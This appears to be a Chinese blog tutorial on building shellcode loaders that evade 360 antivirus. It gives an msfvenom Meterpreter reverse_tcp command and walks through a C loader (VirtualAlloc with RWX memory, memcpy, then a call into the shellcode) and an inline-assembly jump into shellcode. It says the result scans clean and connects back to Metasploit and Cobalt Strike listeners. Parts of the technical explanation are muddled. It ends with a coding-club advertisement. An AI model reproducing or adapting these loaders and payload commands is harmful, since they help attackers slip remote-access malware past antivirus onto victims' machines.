shellcode免殺(1)C語言三條指令免殺360
✉ 1
簡介
描述有錯的地方各位師傅海涵。
經過一下午的C語言測試,得出了十多種過360的·方法,這里拿三種c的方式過360(思路大體相同),還有一個c++的免殺360和火絨都可以過等有時間都可以跟大家更新。
✉ 2
免殺過程
廢話就不多講了對於初學者友好發展,先看一遍制作過程,我們准備好msf和cs的shllecode
msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f c > shell.txt

CS生成shellcode,要用c語言的shellcode,每個語言的解析shellcode方式不同所以這里要選好語言形式。

接下來就是把這些shellcode放到源碼里進行免殺上線了,接下來的三種c語言免殺都是只能過360的,火絨動態被查,但是最后的C++是兩個都可以過的,先來看個正經c語言免殺
看下圖,沒錯c語言免殺就需要這點代碼,而且這是八年前的代碼,如果研究免殺的朋友應該很眼熟畢竟也是傳爛了,本文也主要為了解析免殺,我們來一步步分析。
從這里開始麻煩真的想學免殺的仔細閱讀,這是最簡單的入門,如果你看不下去就不要學了。

前三行其實就和Java,python的import一樣;第四行也就是我們箭頭指的這行是隱藏彈出窗口,也就是不讓控制台蹦出來,至於unsignedchar指無符號類型的字符數組,這里各位理解為擴容就行了.

下邊為代碼主要部分,pvoid就是指針,學過c語言的朋友都知道基本都用*代替了這里方便講解就用了本體類型
*P=null;//就是創建變量並且賦值
inta;//一樣的性質,*p= null其實就是inta =0;
typedefvoid(_stdcall*CODE) //給類型起別名,也可以用指針代替原函數,我們說的簡單點這里就是將_stdcall函數利用指針特性附給了我們自己起的CODE函數里,指針就是變量容器,但是指針存的是地址,也就是我把_stdcall的地址存到了CODE里所以它的值也都在里邊了,但是CODE還是CODE並有自己的地址。這里各位別深究,你就當繼承了就行。

這里是最主要的,我們詳細來講解一下。
VirtualAlloc,是win32的api函數,是用來申請動態內存的,動態內存我們可以通俗的理解為,主動式保護內存,可以根據我們自己決定是否存在;
打個比喻,一個蘋果吃完就沒有了,但是一整棵樹的蘋果你想吃哪個吃哪個,有的朋友可能會想這不還是能吃完么,當然了,內存又不是無限的,這個申請動態內存就是在有限的范圍留出你想要的地方。
VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//函數內參數(要分配的內存區域的地址,分配的大小,分配的類型, 該內存的初始保護屬性)
====================================
這里的NULL是讓系統自己分配內存地址;內存大小就是經典的sizeof了;
MEM_COMMIT |MEM_RESERVE:為特定的頁面區域分配內存中或磁盤的頁面文件中的物理內存,或保存地址而不分配物理存儲,也就是保留這一個地址隨時可利用;
PAGE_EXECUTE_READWRITE:可執行可讀模式,可以理解為申請權限;
到了這里我們來總結這串代碼具體意思:
“我申請了一塊土地,土地大小是shellcode,我要用這塊土地都給我騰出地,我不用這塊土地但這土地就是我的-我不用你們也不准用,這土地誰都能看明白是我的並且只有我可以動”
接下來看這塊,if那里就是如果沒有shellcode就直接結束進程了;

memcpy函數,拷貝內存數據,和我們平時用的copy一樣;
☆ p:容器,也就是要接受數據的目標數組;
☆ shellcode:復制的數據源;
☆ sizeof():復制的大小;
代碼解釋:把多大的code存到p指針里;
CODE=_stdcall,code=(_stdcall)p
這里要好好看,前邊我們已經給stdcall改了名字叫CODE,而stdcall的作用是從右向左壓棧,這里是函數詳細代碼解析,不會匯編的朋友跳過就行也沒必要深究本質;
pushebp 保存ebp寄存器,該寄存器將用來保存堆棧的棧頂指針,可以在函數退出時恢復mov ebp,esp 保存堆棧指針moveax,[ebp + 8H] 堆棧中ebp指向位置之前依次保存有。
ebp,cs:eip,a,b,ebp+8指向a
add eax,[ebp + 0CH] 堆棧中ebp+ 12處保存了b
mov esp,ebp 恢復esp
pop ebp
ret8
我們這里再把之前賦值給p的數據拿來
VirtualAlloc(NULL,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
從右向左,也就是先申請保護內存,可讀可用,之后占用好不讓別人動,大小為code大小,最后系統你看着辦給我個地兒。
最后使用code();
到這我們算是把這個代碼講解完了,進行總結:

准備好調用頭文件,其實和Java的依賴差不多;
▷ 把_stdcall改名為CODE,再隱藏彈窗;
▷ 將code存入shellcode數組;
▷ 創建指針變量p賦值為空方便存儲;
▷ 將VirtuallAlloc函數存入p申請動態內存並保護;
▷ 如果shellcode為空則結束;
▷ 復制shellcode進p;
▷ 從右向左壓棧;
▷ code()執行。
終於到了看效果的時候了,把我們的shellcode放進去並生成exe文件

來用360掃一下看看,沒有報毒

msf准備好監聽看看能否上線並操作,可以上線並操作

接下來看cs的


看看運行,上線

來看另外兩個免殺,只需要三行指令即可免殺


這里是嵌入式匯編呼叫ShellCode,學匯編的一看就明白了,鑒於很多開始專注於web滲透的師傅們很多不了解匯編我們這里簡單講解一下
#pragmacomment(linker, "/section:.data,RWE")
VOIDmain() { __asm { mov eax,offset ShellCode jmp eax } }
#pragma comment(linker,"/section:.data,RWE"),這個等於之前的VirtualAlloc;
__asm內聯調用匯編語言達到不沖突可運行;
調用offset函數引用shellcode進入eax寄存器;
jmp無條件跳轉進eax寄存器執行;
====================================
沒錯,運用匯編就是這么輕松,加上創建內聯,實際只用兩條指令就可以輕松過360,過多的不介紹了,看運行結果



本來是想把C++的一起發出來的,可是沒想到C語言的就這么多了。
最后,若想滲透好,就別要男女朋友,對象只會影響你的大腦思考。(狗頭保命)
—— END ——
【值得關注】我的 編 程 學 習 交 流 俱 樂 部 !【進入領取】
—————————————
一起學習,一起交流,不管你是轉行也好,初學也罷,進階也可,如果你想學編程,進階程序員~
更多C語言入門資料(網盤鏈接免費分享):

全方位C語言書籍(PDF免費分享):
